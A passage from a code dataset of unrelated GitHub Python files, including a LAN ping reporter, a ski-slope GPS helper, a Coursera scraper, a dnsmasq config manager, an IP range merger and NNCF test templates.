name=\"collective.certified:Functional\"\n)\nROBOT_TESTING = FunctionalTesting(\n bases=(FIXTURE, z2.ZSERVER_FIXTURE),\n name=\"collective.certified:Robot\"\n)\n","repo_name":"lccruz/collective.certified","sub_path":"collective/certified/testing.py","file_name":"testing.py","file_ext":"py","file_size_in_byte":1441,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"14985156399","text":"import os\nimport socket\nimport time\n\n\ndef main():\n hosts = {'t': '192.168.1.100',\n 't_lap': '192.168.1.101',\n 't_n5': '192.168.1.155',\n 'm_lap': '192.168.1.184',\n 'm_n5x': '192.168.1.181'}\n\n server_address = ('localhost', 8001)\n ping_interval = 60\n\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.connect(server_address)\n\n ownfile = os.path.basename(__file__)\n\n # Send fast once\n for host in hosts:\n message = ownfile + \";ping_\" + host + \";False\"\n s.send(bytes(message + \"\\n\", 'UTF-8'))\n\n while True:\n t_end = time.monotonic() + ping_interval\n for host in hosts:\n ping = True if os.system(\"ping -c 1 \" + hosts[host] + \" > /dev/null\") == 0 else False\n message = ownfile + \";ping_\" + host + \";\" + str(ping)\n s.send(bytes(message + \"\\n\", 'UTF-8'))\n while time.monotonic() < t_end:\n time.sleep(1)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"thoelf/switchhub","sub_path":"plugins/ping.py","file_name":"ping.py","file_ext":"py","file_size_in_byte":992,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"29214938978","text":"from __future__ import annotations\n\nfrom typing import Any, List, Literal, Tuple, TYPE_CHECKING\n\nif TYPE_CHECKING:\n from ngsildclient.model.attr.prop import AttrPropValue\n from ngsildclient.model.attr.geo import AttrGeoValue\n from ngsildclient.model.attr.temporal import AttrTemporalValue\n from ngsildclient.model.attr.rel import AttrRelValue\n from ngsildclient.model.entity import Entity\n\nfrom collections.abc import MutableMapping, Mapping\n\nfrom copy import deepcopy\nfrom datetime import datetime\nfrom scalpl import Cut\n\nfrom ..utils import iso8601, url\nfrom .constants import *\nfrom .exceptions import *\nfrom ngsildclient.settings import globalsettings\nfrom ngsildclient.model.utils import tuple_to_point\n\nimport json\n\n\"\"\"This module contains the definition of the NgsiDict class.\n\"\"\"\n\n\nclass NgsiDict(Cut, MutableMapping):\n \"\"\"This class is a custom dictionary that backs an entity.\n\n Attr is used to build and hold the entity properties, as well as the entity's root.\n It's not exposed to the user but intended to be used by the Entity class.\n NgsiDict provides methods that allow to build a dictionary compliant with a NGSI-LD structure.\n\n See Also\n --------\n model.Entity\n \"\"\"\n\n def __init__(self, data: dict = None, name: str = None):\n super().__init__(data)\n self.name = name\n\n def is_root(self) -> bool:\n return self.get(\"@context\") is not None\n\n def __getitem__(self, path: str):\n item = super().__getitem__(path)\n if isinstance(item, Mapping) and not isinstance(item, NgsiDict):\n from ngsildclient.model.attr.factory import AttrFactory\n\n return AttrFactory.create(item)\n return item\n\n def get(self, path: str, default=None):\n try:\n item = super().__getitem__(path)\n except (KeyError, IndexError):\n return default\n if isinstance(item, Mapping) and not isinstance(item, NgsiDict):\n from ngsildclient.model.attr.factory import AttrFactory\n\n return AttrFactory.create(item)\n return item\n\n def __repr__(self):\n return self.data.__repr__()\n\n def __ior__(self, prop: Mapping):\n prop = prop.data if isinstance(prop, NgsiDict) else prop\n self.data |= prop\n return self\n\n def __mul__(self, n: int):\n res = []\n for _ in range(n):\n res.append(NgsiDict.duplicate(self))\n return res\n\n __rmul__ = __mul__\n\n @classmethod\n def duplicate(cls, attr: NgsiDict) -> NgsiDict:\n return deepcopy(attr)\n\n def dup(self) -> NgsiDict:\n \"\"\"Duplicates the NgsiDict\n\n Returns\n -------\n Entity\n The new entity\n \"\"\"\n return deepcopy(self)\n\n @property\n def value(self):\n raise NotImplementedError()\n\n @value.setter\n def value(self, v: Any):\n raise NotImplementedError()\n\n @property\n def type(self) -> Literal[\"Property\", \"GeoProperty\", \"TemporalProperty\", \"Relationship\"]:\n raise NotImplementedError()\n\n @classmethod\n def _from_json(cls, payload: str):\n d = json.loads(payload)\n return cls(d)\n\n @classmethod\n def _load(cls, filename: str):\n with open(filename, \"r\") as fp:\n d = json.load(fp)\n return cls(d)\n\n def to_dict(self) -> dict:\n return self.data\n\n def to_json(self, pattern: str = None, indent: int = None) -> str:\n \"\"\"Returns the dict in json format\"\"\"\n if pattern:\n pattern = pattern.lower()\n d = {k: v for k, v in self.items() if pattern in k.lower()} if pattern else self\n return json.dumps(\n d, ensure_ascii=False, indent=indent, default=lambda x: x.data if isinstance(x, NgsiDict) else str\n )\n\n def pprint(self, *args, **kwargs) -> None:\n \"\"\"Returns the dict pretty-json-formatted\"\"\"\n globalsettings.f_print(self.to_json(indent=2, *args, **kwargs))\n\n def _save(self, filename: str, indent=2):\n with open(filename, \"w\") as fp:\n json.dump(\n self,\n fp,\n ensure_ascii=False,\n indent=indent,\n default=lambda x: x.data if isinstance(x, NgsiDict) else str,\n )\n\n @classmethod\n def mkprop(\n cls,\n value: Any,\n *, # keyword-only arguments after this\n datasetid: str = None,\n observedat: Union[str, datetime] = None,\n unitcode: str = None,\n userdata: NgsiDict = None,\n escape: bool = False,\n attrname: str = None,\n ) -> AttrPropValue:\n from ngsildclient.model.attr.prop import AttrPropValue\n\n if isinstance(value, MultAttrValue):\n if len(value) == 0:\n raise ValueError(\"MultAttr is empty\")\n p: List[AttrPropValue] = [AttrPropValue.build(v) for v in value]\n else:\n value = url.escape(value) if escape and isinstance(value, str) else value\n attrvalue = AttrValue(value, datasetid, observedat, unitcode, userdata)\n p = AttrPropValue.build(attrvalue)\n return {attrname: p} if attrname else p\n\n @classmethod\n def mkgprop(\n cls,\n value: Union[Tuple[float], NgsiGeometry],\n *, # keyword-only arguments after this\n datasetid: str = None,\n observedat: Union[str, datetime] = None,\n attrname: str = None,\n precision: int = 6,\n ) -> AttrGeoValue:\n from ngsildclient.model.attr.geo import AttrGeoValue\n\n if isinstance(value, Tuple):\n if len(value) == 2:\n lat, lon = value\n value = Point((lon, lat), precision=precision)\n else:\n raise ValueError(\"lat, lon tuple expected\")\n attrvalue = AttrValue(value, datasetid, observedat)\n p = AttrGeoValue.build(attrvalue)\n return {attrname: p} if attrname else p\n\n @classmethod\n def mktprop(\n cls,\n value: NgsiDate = iso8601.utcnow(),\n *, # keyword-only arguments after this\n attrname: str = None,\n ) -> AttrTemporalValue:\n from ngsildclient.model.attr.temporal import AttrTemporalValue\n\n attrvalue = AttrValue(value)\n p = AttrTemporalValue.build(attrvalue)\n return {attrname: p} if attrname else p\n\n @classmethod\n def mkrel(\n cls,\n value: Union[str, List[str], Entity, List[Entity]],\n *, # keyword-only arguments after this\n datasetid: str = None,\n observedat: Union[str, datetime] = None,\n attrname: str = None,\n ) -> AttrRelValue:\n from ngsildclient.model.attr.rel import AttrRelValue\n\n if isinstance(value, MultAttrValue):\n if len(value) == 0:\n raise ValueError(\"MultAttr is empty\")\n p: List[AttrRelValue] = [AttrRelValue.build(v.id if hasattr(v, \"id\") else v) for v in value]\n else:\n value = value.id if hasattr(value, \"id\") else value\n attrvalue = AttrValue(value, datasetid, observedat)\n p = AttrRelValue.build(attrvalue)\n return {attrname: p} if attrname else p\n","repo_name":"Orange-OpenSource/python-ngsild-client","sub_path":"src/ngsildclient/model/ngsidict.py","file_name":"ngsidict.py","file_ext":"py","file_size_in_byte":7140,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"20"} +{"seq_id":"9605441541","text":"import pickle\nfrom pathlib import Path\n\nimport gpxpy\nimport numpy as np\nimport pandas as pd\nimport requests\nfrom geopy import distance\n\n# The ids for (hopefully all slops in Laax) to query the OpenSnow API with it\nfrom numpy.linalg import norm\nfrom scipy.interpolate import interp1d\nfrom scipy.stats import mode\n\nLAAX_IDS = [132148, 132149, 132151, 132152, 132154, 132155, 132156, 132157, 132158, 132159, 132160, 132161, 132162,\n 132164, 132165, 132166, 132167, 132168, 132169, 132170, 132171, 132172, 132173, 132174, 132178, 132179,\n 132180, 132181, 132182, 132183, 132185, 132186, 132187, 132188, 132189, 132198, 132287, 132298, 132300,\n 132301, 132302, 132303, 132305, 132320, 132321, 132339, 132340, 132341, 132343, 132344, 132421, 133043,\n 154975, 168459, 189209, 199172, 199173, 199174, 199175, 199178, 207441, 207443, 207446, 207474, 207475,\n 207478, 207479, 207480, 207481, 207482, 207519, 207520, 207579, 216958, 217149, 217919, 218343, 218344,\n 218345]\n\n\ndef get_slope_info(lid):\n slope = requests.get('https://tiles.skimap.org/features/{}.geojson'.format(lid)).json()\n\n headers = {\n 'Content-Type': 'application/json',\n }\n\n data = np.array(slope['geometry']['coordinates'])[:, ::-1]\n pair_dist = calc_distance_from_geo_series(data)\n\n elevation = requests.post('https://elevation.racemap.com/api', headers=headers, json=data.tolist()).json()\n return_data = dict()\n return_data['name'] = slope['properties']['name']\n return_data['difficulty'] = slope['properties']['piste:difficulty']\n return_data['type'] = slope['properties']['piste:type']\n return_data['id'] = slope['properties']['lid']\n return_data['overall_elevation'] = elevation[0] - elevation[-1]\n return_data['distance'] = np.sum(pair_dist)\n return_data['pos'] = np.cumsum(pair_dist)\n return_data['geo'] = data\n return_data['elevation'] = elevation\n return return_data\n\n\ndef calc_distance_from_geo_series(series):\n d_start = series[0]\n pairwise_dist = []\n\n for d_stop in series[1:]:\n pairwise_dist.append(distance.distance(d_start, d_stop).m)\n d_start = d_stop\n return pairwise_dist\n\n\ndef get_all_laax_slopes(force=False):\n path = Path('./output/laax_slopes.pk')\n if path.is_file() and force is not True:\n slopes = pickle.load(path.open('rb'))\n else:\n slopes = {}\n\n for i in LAAX_IDS:\n if i not in slopes:\n slopes[i] = get_slope_info(i)\n\n pickle.dump(slopes, path.open('wb'))\n return slopes\n\n\ndef get_gps_track(file_path):\n gpx = gpxpy.parse(open(file_path, 'r'))\n points = gpx.tracks[0].segments[0].points\n geo_track = np.array(\n [((p.time - points[0].time).total_seconds(), p.latitude, p.longitude, p.elevation) for p in points])\n track = pd.DataFrame(geo_track, columns=['t', 'la', 'lo', 'el'])\n track = track.apply(lambda x: interp1d(track.t, x)(np.arange(track.t.iloc[-1])))\n return track\n\n\ndef get_geopoints_from_slopes(slopes):\n all_geo = []\n for s in slopes.values():\n for p in s['geo']:\n all_geo.append((s['id'], p))\n return all_geo\n\n\ndef find_closest(p, all_geo):\n all_geo_points = np.vstack([p[1] for p in all_geo])\n diff = all_geo_points - p\n diff = norm(diff, axis=1)\n return all_geo[np.argmin(diff)][0]\n\n\ndef find_closest_gps_track(track, all_geo):\n closest = track.apply(lambda x: find_closest((x['la'], x['lo']), all_geo), axis=1)\n return closest.rolling(20, center=True).apply(lambda x: mode(x)[0]).fillna(method='backfill')\n","repo_name":"mad-lab-fau/LaaxSnowHack","sub_path":"helper/laax_gps.py","file_name":"laax_gps.py","file_ext":"py","file_size_in_byte":3580,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"10177617988","text":"import requests\nfrom bs4 import BeautifulSoup\n\nimport models\n\nsearch_url = \"https://www.coursera.org/search\"\n\n\ndef get_parsed_courses(search_params) -> list[models.CourseraCourse]:\n query = search_params\n params = {\"query\": query}\n response = requests.get(search_url, params=params)\n soup = BeautifulSoup(response.text, \"html.parser\")\n parsed_courses = []\n\n if response.status_code == 200:\n course_items = soup.find_all(\"div\", class_='cds-ProductCard-gridCard')\n for course_item in course_items:\n preview_image_url = course_item.find(\"img\")[\"src\"]\n title = course_item.find(\"div\", class_=\"cds-ProductCard-header\").find(\"h3\"). \\\n text.encode('latin-1').decode('utf-8')\n sub_title = course_item.find(\"div\", class_=\"css-oejgx0 cds-ProductCard-partners\").find(\n \"p\").text\n href = course_item.find(\"div\", class_=\"cds-ProductCard-header\").find(\"a\")[\"href\"]\n href = \"https://www.coursera.org\" + href\n body_content = course_item.find(\"div\", class_=\"cds-CommonCard-bodyContent\")\n content_text = \"\"\n if body_content is not None:\n content_text = body_content.find(\"p\").text\n content = content_text\n parsed_course = models.CourseraCourse(\n title=title,\n preview_image_url=preview_image_url,\n sub_title=sub_title,\n href=href,\n content=content\n )\n parsed_courses.append(parsed_course)\n else:\n print(\"Error: Unable to fetch search results\")\n raise Exception(\"Error: Unable to fetch search results\")\n return parsed_courses\n","repo_name":"Tzeentch-Hack/Work-Finder","sub_path":"webAPI/coursera_parser.py","file_name":"coursera_parser.py","file_ext":"py","file_size_in_byte":1711,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"35025279796","text":"import sys\ninput = sys.stdin.readline\n\ndef main():\n n = int(input())\n a = list(map(int, input().split()))\n \n b = [a[0]]\n c = [a[-1]]\n for i in range(1, n):\n b.append(b[-1]+a[i])\n c.append(c[-1]+a[-(i+1)])\n c = c[::-1]\n \n ans = float('inf')\n for i in range(n-1):\n ans = min(ans, abs(b[i]-c[i+1]))\n \n print(ans)\n\nif __name__ == '__main__':\n main()","repo_name":"shungo0222/AtCoder","sub_path":"ABC/ABC067/c.py","file_name":"c.py","file_ext":"py","file_size_in_byte":405,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"40209528676","text":"# -*- coding: utf-8 -*-\nfrom __future__ import print_function, with_statement, absolute_import\nimport copy\nimport os\nimport shutil\nfrom socket import inet_aton\n\nfrom . import toolutils\n\n\nDEFAULT_CONFIG = {\n 'dhcp-range': [\n {\n 'interface': 'wlan0',\n 'start': '10.1.10.11',\n 'end': '10.1.10.250',\n 'lease_time': '24h'\n },\n {\n 'interface': 'eth1',\n 'start': '10.1.20.10',\n 'end': '10.1.20.250',\n 'lease_time': '24h'\n }\n ],\n 'dhcp-leasefile': '/var/tmp/dnsmasq.leases'\n}\n\n\nclass DnsmasqRange(object):\n \"\"\"\n Basic dnsmasq conf of the more file which holds the ip ranges\n per interface.\n Made for handling very basic dhcp-range options\n \"\"\"\n\n def __init__(self, path, backup_path=None,\n leases_path='/var/tmp/dnsmasq.leases'):\n self._config = {}\n self._path = path\n if not backup_path:\n self.backup_path = path + \".bak\"\n else:\n self.backup_path = backup_path\n self._leases_path = leases_path\n\n @property\n def config(self):\n return self._config\n\n def set(self, key, value):\n if key == \"dhcp-range\":\n if \"dhcp-range\" not in self._config:\n self._config[\"dhcp-range\"] = []\n if isinstance(value, str):\n value = self._extract_range_info(value)\n if value:\n if self.get_itf_range(value[\"interface\"]):\n self.update_range(\n interface=value[\"interface\"],\n start=value[\"start\"],\n end=value[\"end\"],\n lease_time=value[\"lease_time\"]\n )\n else:\n self._config[\"dhcp-range\"].append(value)\n else:\n self._config[str(key).strip()] = value\n\n def validate(self):\n try:\n required = [\"interface\", \"start\", \"end\", \"lease_time\"]\n for rng in self._config[\"dhcp-range\"]:\n for key in required:\n if key not in rng:\n raise ValueError(\"Missing option : {0}\".format(key))\n if inet_aton(rng[\"end\"]) < inet_aton(rng[\"start\"]):\n raise ValueError(\"Start IP range must be before end IP\")\n return True\n itf_names = [\n data[\"interface\"]\n for data in self._config[\"dhcp-range\"]\n ]\n if len(itf_names) != set(itf_names):\n msg = \"Multiple interfaces with the same name\"\n raise ValueError(msg)\n except KeyError:\n pass # dhcp-range is not mandatory\n\n def update_range(self, interface, start, end, lease_time):\n \"\"\"Update existing range based on the interface name\n If does not exist will be created\n\n Args:\n interface (str): interface name\n start (str) : start ip of range\n end (str) : end ip of range\n lease_time (str) : lease_time\n\n Returns:\n bool: True if configuration was updated or created,\n False otherwise\n \"\"\"\n current_range = self.get_itf_range(interface)\n new_range = {\n 'interface': interface, 'lease_time': lease_time,\n \"start\": start, \"end\": end\n }\n if current_range and (current_range == new_range):\n return False\n self.rm_itf_range(interface)\n self.set(\"dhcp-range\", new_range)\n return True\n\n def get_itf_range(self, if_name):\n \"\"\" If no interface, return None \"\"\"\n if \"dhcp-range\" not in self._config:\n return None\n for v in self._config['dhcp-range']:\n if v[\"interface\"] == if_name:\n return v\n\n def rm_itf_range(self, if_name):\n ''' Rm range info for the given interface\n\n Args:\n if_name (str) : interface name\n\n Returns:\n bool: True if configuration was updated, False otherwise\n '''\n\n if \"dhcp-range\" in self._config:\n current_len = len(self._config['dhcp-range'])\n self._config['dhcp-range'][:] = [\n x for x in self._config['dhcp-range']\n if x[\"interface\"] != if_name\n ]\n if len(self._config['dhcp-range']) < current_len:\n return True\n return False\n\n def set_defaults(self):\n \"\"\" Defaults for my needs, you should probably override this one \"\"\"\n self._config = copy.deepcopy(DEFAULT_CONFIG)\n\n def read(self, path=None):\n if path is None:\n path = self._path\n\n self._config = {}\n\n with open(path, \"r\") as dnsmasq:\n for line in dnsmasq:\n if line.startswith('#') is True or line == \"\\n\" or line == \"\":\n continue\n # No \\n allowed here\n key, value = line.replace(\"\\n\", '').split(\"=\")\n\n if key and value:\n self.set(key, value)\n\n def write(self, path=None):\n self.validate()\n\n if path is None:\n path = self._path\n\n self.backup()\n\n with toolutils.atomic_write(path) as dnsmasq:\n for k, v in self._config.items():\n if k == \"dhcp-range\":\n if not v:\n continue\n for r in v:\n line = \"dhcp-range=interface:{0},{1},{2},{3}\\n\".format(\n r[\"interface\"], r[\"start\"],\n r[\"end\"], r[\"lease_time\"]\n )\n dnsmasq.write(line)\n else:\n key = str(k).strip()\n value = str(v).strip()\n dnsmasq.write(\"{0}={1}\\n\".format(key, value))\n\n @staticmethod\n def controlService(action):\n \"\"\" return True/False, command output \"\"\"\n\n if action not in [\"start\", \"stop\", \"restart\"]:\n return False, \"Invalid action\"\n return toolutils.safe_subprocess([\"/etc/init.d/dnsmasq\", action])\n\n def clear_leases(self):\n \"\"\"rm /var/tmp/dnsmasq.leases\"\"\"\n try:\n os.remove(self._leases_path)\n except Exception:\n pass\n\n def backup(self):\n \"\"\" return True/False, command output \"\"\"\n\n if self.backup_path:\n shutil.copy(self._path, self.backup_path)\n\n def restore(self):\n \"\"\" return True/False, command output \"\"\"\n\n if self.backup_path:\n shutil.copy(self.backup_path, self._path)\n\n def delete(self):\n \"\"\" return True/False, command output \"\"\"\n\n if self.backup_path:\n os.remove(self._path)\n\n @staticmethod\n def _extract_range_info(value):\n ret = {}\n try:\n breaked = value.split(\",\")\n ret[\"interface\"] = breaked[0].split(\":\")[1]\n ret[\"start\"] = breaked[1]\n ret[\"end\"] = breaked[2]\n ret[\"lease_time\"] = breaked[3]\n except Exception:\n pass\n return ret\n\n def apply_changes(self):\n \"\"\"Write changes to fs and restart daemon\"\"\"\n self.controlService(\"stop\")\n self.write()\n self.clear_leases()\n self.controlService(\"start\")\n","repo_name":"loslosbaby/debinterface","sub_path":"debinterface/dnsmasqRange.py","file_name":"dnsmasqRange.py","file_ext":"py","file_size_in_byte":7436,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"20"} +{"seq_id":"8497624303","text":"import time\nfrom collections import OrderedDict\n\n\ninput = OrderedDict()\n\niterator = 0\nwith open('input.txt', 'r') as f:\n for line in f:\n modified_line = []\n line = line.strip()\n for number in line:\n modified_line.append(int(number))\n input[iterator] = modified_line\n iterator += 1\n\nline_length = (len(input[0]) - 1)\ndict_length = (len(input) - 1)\n#rint(dict_length)\n#print(line_length)\n\nbasins = {}\n\ndict_tracker = 0\nfor k in input.keys():\n index_tracker = 0\n print(input[k])\n \n \n","repo_name":"wiz0rd/advent_of_code_2021","sub_path":"12_09_JOSH_solved_a_not_b/challenge2/new_solution.py","file_name":"new_solution.py","file_ext":"py","file_size_in_byte":541,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"20"} +{"seq_id":"4761563920","text":"from aio_pika import connect, Message\nfrom config import RabbitmqBroker\n\nconnection = None\n\n\nasync def connect_broker(loop):\n # Perform connection\n global connection\n connection = await connect(host=RabbitmqBroker.address, loop=loop)\n print(connection)\n\n\nasync def send_message(message):\n global connection\n # Creating a channel\n channel = await connection.channel()\n\n\n # Sending the message\n await channel.default_exchange.publish(\n routing_key=RabbitmqBroker.restaurant_data_notify_queue,\n message=Message(body=message)\n )\n\n print(\" [x] Sent message for analysis\")\n\n\nasync def close_conn_broker():\n global connection\n await connection.close()\n\n","repo_name":"vash6618/datacenter_project","sub_path":"periodic job/utils/rabbitmq/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":699,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"43951977722","text":"from abc import abstractmethod\nfrom typing import List, TypeVar\n\nimport pytest\n\nfrom nncf.common.factory import NNCFGraphFactory\nfrom nncf.quantization.advanced_parameters import AdvancedQuantizationParameters\nfrom nncf.quantization.advanced_parameters import OverflowFix\nfrom nncf.quantization.algorithms.fast_bias_correction.algorithm import FastBiasCorrection\nfrom nncf.quantization.algorithms.fast_bias_correction.backend import FastBiasCorrectionAlgoBackend\nfrom nncf.quantization.algorithms.post_training.algorithm import PostTrainingQuantization\nfrom tests.post_training.test_templates.helpers import ConvBNTestModel\nfrom tests.post_training.test_templates.helpers import ConvTestModel\nfrom tests.post_training.test_templates.helpers import get_static_dataset\n\nTModel = TypeVar(\"TModel\")\nTTensor = TypeVar(\"TTensor\")\n\n\nclass TemplateTestFBCAlgorithm:\n @staticmethod\n @abstractmethod\n def list_to_backend_type(data: List) -> TTensor:\n \"\"\"\n Convert list to backend specific type\n\n :param data: List of data.\n\n :return: Converted data.\n \"\"\"\n\n @staticmethod\n @abstractmethod\n def get_backend() -> FastBiasCorrectionAlgoBackend:\n \"\"\"\n Get backend specific FastBiasCorrectionAlgoBackend\n\n :return FastBiasCorrectionAlgoBackend: Backend specific FastBiasCorrectionAlgoBackend\n \"\"\"\n\n @pytest.mark.parametrize(\n \"bias_value, bias_shift, channel_axis, ref_shape\",\n (\n ([1, 1], [0.1, 0.1], 1, [2]),\n ([[1, 1]], [0.1, 0.1], -1, [1, 2]),\n ([[1, 1]], [0.1, 0.1], 1, [1, 2]),\n ),\n )\n def test_reshape_bias_shift(self, bias_value: list, bias_shift: list, channel_axis: int, ref_shape: list):\n \"\"\"\n Checks the result of the FastBiasCorrection.reshape_bias_shift method for backend specific datatype.\n \"\"\"\n bias_value = self.list_to_backend_type(data=bias_value)\n bias_shift = self.list_to_backend_type(data=bias_shift)\n\n algo = FastBiasCorrection(subset_size=1, inplace_statistics=False)\n # pylint: disable=protected-access\n algo._backend_entity = self.get_backend()\n new_bias_shift = algo._reshape_bias_shift(bias_shift, bias_value, channel_axis)\n assert list(new_bias_shift.shape) == ref_shape\n\n @staticmethod\n def fn_to_type(tensor):\n return tensor\n\n @staticmethod\n @abstractmethod\n def get_transform_fn():\n \"\"\"\n Get transformation function for dataset.\n \"\"\"\n\n @staticmethod\n @abstractmethod\n def backend_specific_model(model: TModel, tmp_dir: str):\n \"\"\"\n Return backend specific model.\n \"\"\"\n\n @staticmethod\n @abstractmethod\n def check_bias(model: TModel, ref_bias: list):\n \"\"\"\n Return backend specific model.\n \"\"\"\n\n @staticmethod\n def get_quantization_algorithm():\n return PostTrainingQuantization(\n subset_size=1,\n fast_bias_correction=True,\n advanced_parameters=AdvancedQuantizationParameters(overflow_fix=OverflowFix.DISABLE),\n )\n\n @pytest.mark.parametrize(\n \"model_cls, ref_bias\",\n (\n (ConvTestModel, [0.0288348, 1.0838453]),\n (ConvBNTestModel, [0.08396978, 1.1676897]),\n ),\n )\n def test_update_bias(self, model_cls, ref_bias, tmpdir):\n model = self.backend_specific_model(model_cls(), tmpdir)\n dataset = get_static_dataset(model_cls.INPUT_SIZE, self.get_transform_fn(), self.fn_to_type)\n\n quantization_algorithm = self.get_quantization_algorithm()\n graph = NNCFGraphFactory.create(model)\n quantized_model = quantization_algorithm.apply(model, graph, dataset=dataset)\n\n self.check_bias(quantized_model, ref_bias)\n","repo_name":"openvinotoolkit/nncf","sub_path":"tests/post_training/test_templates/test_fast_bias_correction.py","file_name":"test_fast_bias_correction.py","file_ext":"py","file_size_in_byte":3775,"program_lang":"python","lang":"en","doc_type":"code","stars":702,"dataset":"github-code","pt":"20"} +{"seq_id":"31486921135","text":"class TrieNode:\n def __init__(self, val=None, child={}, is_word=False):\n self.val = val\n self.children = child\n self.is_word = is_word\n\n def add_child(self,cval):\n self.children[cval] = self.children.get(cval,TrieNode(cval,{}))\n return self.children[cval]\n\n\n\nlw = ['many','man','my','lie','line']\n\ntrie = TrieNode()\nfor w in lw:\n cr = trie\n for c in w:\n cr = cr.add_child(c)\n cr.is_word=True\n \n\ndef dfs(root):\n print(root.val)\n for c in root.children:\n cr = root.children[c]\n #print(cr.val)\n dfs(cr)\n\n \n\ndfs(trie)\n#print(trie.children['l'].children['i'].children['n'].children['e'].children)","repo_name":"Momilijaz96/Ultimate-DSA","sub_path":"Tries/tries.py","file_name":"tries.py","file_ext":"py","file_size_in_byte":685,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"20"} +{"seq_id":"27502915553","text":"# Homework 7\ndata = []\n\n\ndef binary_search(lst, number):\n l = lst[0]\n r = lst[-1]\n m = len(lst) // 2\n while True:\n if m < number:\n data.append(m)\n l = m\n m = (l + r) // 2\n elif m > number:\n data.append(m)\n r = m\n m = (l + m) // 2\n elif m == number:\n data.append(m)\n return 'Done!'\n\n\nprint(binary_search(range(1, 51), 47), f'{data} Number of attempts: {len(data)}')\n\nsort_lst = []\n\n\ndef bubble_sort(lst):\n while len(lst) != 0:\n m = lst.index(min(lst))\n sort_lst.append(lst.pop(m))\n return f'Sorted list: {sort_lst}'\n\n\nprint(bubble_sort([124, 67, 31, 25, 12, 15, 65]))\n","repo_name":"ossipova/pythonOOP","sub_path":"yuliya_24-2_hw7(OOP).py","file_name":"yuliya_24-2_hw7(OOP).py","file_ext":"py","file_size_in_byte":712,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"19147530671","text":"#!/usr/bin/env python3\n# -*- coding:utf-8 -*-\n'''\nMerge IPNetworks\n'''\n\nimport sys\nimport os\nimport csv\nimport ipaddress\n\n\ndef get_nets(src_file_path):\n ip_net = []\n with open(src_file_path, newline='') as csvfile:\n reader = csv.reader(csvfile)\n for eachline in reader:\n entry = eachline[0]\n if '-' in entry:\n ip_pair = entry.strip().split('-')\n ip_begin = ipaddress.ip_address(ip_pair[0].strip())\n ip_end = ipaddress.ip_address(ip_pair[1].strip())\n temp_net = [\n ipaddr for ipaddr in ipaddress.summarize_address_range(\n ip_begin, ip_end)]\n elif '/' in entry:\n temp_net = [ipaddress.ip_network(entry.strip(), strict=False)]\n else:\n temp_net = [ipaddress.ip_address(entry.strip())]\n ip_net = ip_net + temp_net\n print(ip_net)\n return(ip_net)\n\n\ndef merge_ip_nets(ip_net):\n ip_counter = 0\n net_break_counter = 0\n nets = [\n ipaddr for ipaddr in ipaddress.collapse_addresses(ip_net)]\n merged_nets = []\n for n in nets:\n ip_counter += n.num_addresses\n start_ip = n[0]\n end_ip = n[-1]\n if net_break_counter == 0:\n net_start = start_ip\n net_end = end_ip\n # check if the temp ip net can be continue\n if net_break_counter > 0:\n if start_ip == net_end + 1:\n net_end = end_ip\n else:\n # net breaks\n net_break_counter = 0\n merged_nets.append(\n [net_start.compressed + '-' + net_end.compressed])\n print(merged_nets)\n # reset net_start & net_end\n net_start = start_ip\n net_end = end_ip\n net_break_counter += 1\n merged_nets.append([net_start.compressed + '-' + net_end.compressed])\n print(merged_nets)\n return(ip_counter, merged_nets)\n\n\ndef write_summ_nets(net_list, dst_file_path, config):\n with open(dst_file_path, 'w', newline='') as csvfile:\n writer = csv.writer(csvfile)\n # transform OUTPUT\n if 'T' in config:\n write_list = []\n for i in net_list:\n item = i[0]\n if 'c' in config:\n ip_pair = item.split('-')\n if ip_pair[0] == ip_pair[1]:\n write_list.append(ip_pair[0])\n else:\n write_list.append(item)\n else:\n write_list.append(item)\n writer.writerow(write_list)\n else:\n for i in net_list:\n item = i[0]\n if 'c' in config:\n ip_pair = item.split('-')\n if ip_pair[0] == ip_pair[1]:\n item_to_write = [ip_pair[0]]\n else:\n item_to_write = [item]\n else:\n item_to_write = [item]\n writer.writerow(item_to_write)\n print('OUTPUT CONFIG:', config)\n\n\ndef show_help():\n print('usage: ipmerge.py D:\\\\xxx [-config]')\n print('-h show help')\n print('-c compact mode: single ip without \"-\"')\n print('-T transform OUTPUT: 1*n')\n\n\nif __name__ == '__main__':\n\n if len(sys.argv) == 1:\n show_help()\n elif len(sys.argv) == 2 and sys.argv[1] == '-h':\n show_help()\n else:\n working_dir = sys.argv[1]\n if len(sys.argv) == 2:\n config = ''\n else:\n config = sys.argv[2]\n\n src_file_path = working_dir + '\\\\to_merge.csv'\n dst_file_path = working_dir + '\\\\merged.csv'\n if os.path.exists(working_dir):\n ip_net = get_nets(src_file_path)\n (ip_count, net_list) = merge_ip_nets(ip_net)\n write_summ_nets(net_list, dst_file_path, config)\n print('Total: ', ip_count, 'hosts!')\n","repo_name":"dcosmic/misc","sub_path":"ip_merge.py","file_name":"ip_merge.py","file_ext":"py","file_size_in_byte":3984,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"8051533535","text":"#!/usr/bin/python3\n\"\"\"BaseModel Class\"\"\"\nimport uuid\nfrom datetime import datetime\nimport models\n\n\nclass BaseModel:\n \"Create the BaseMdel Class\"\n def __init__(self, *args, **kwargs):\n \"\"\"Initilize public instance attributes\n\n args(list): Empty list\n kwargs(dict): dictionary that\n contain key/value of the attirbutes\n \"\"\"\n # **kwargs\n self.id = str(uuid.uuid4())\n self.created_at = 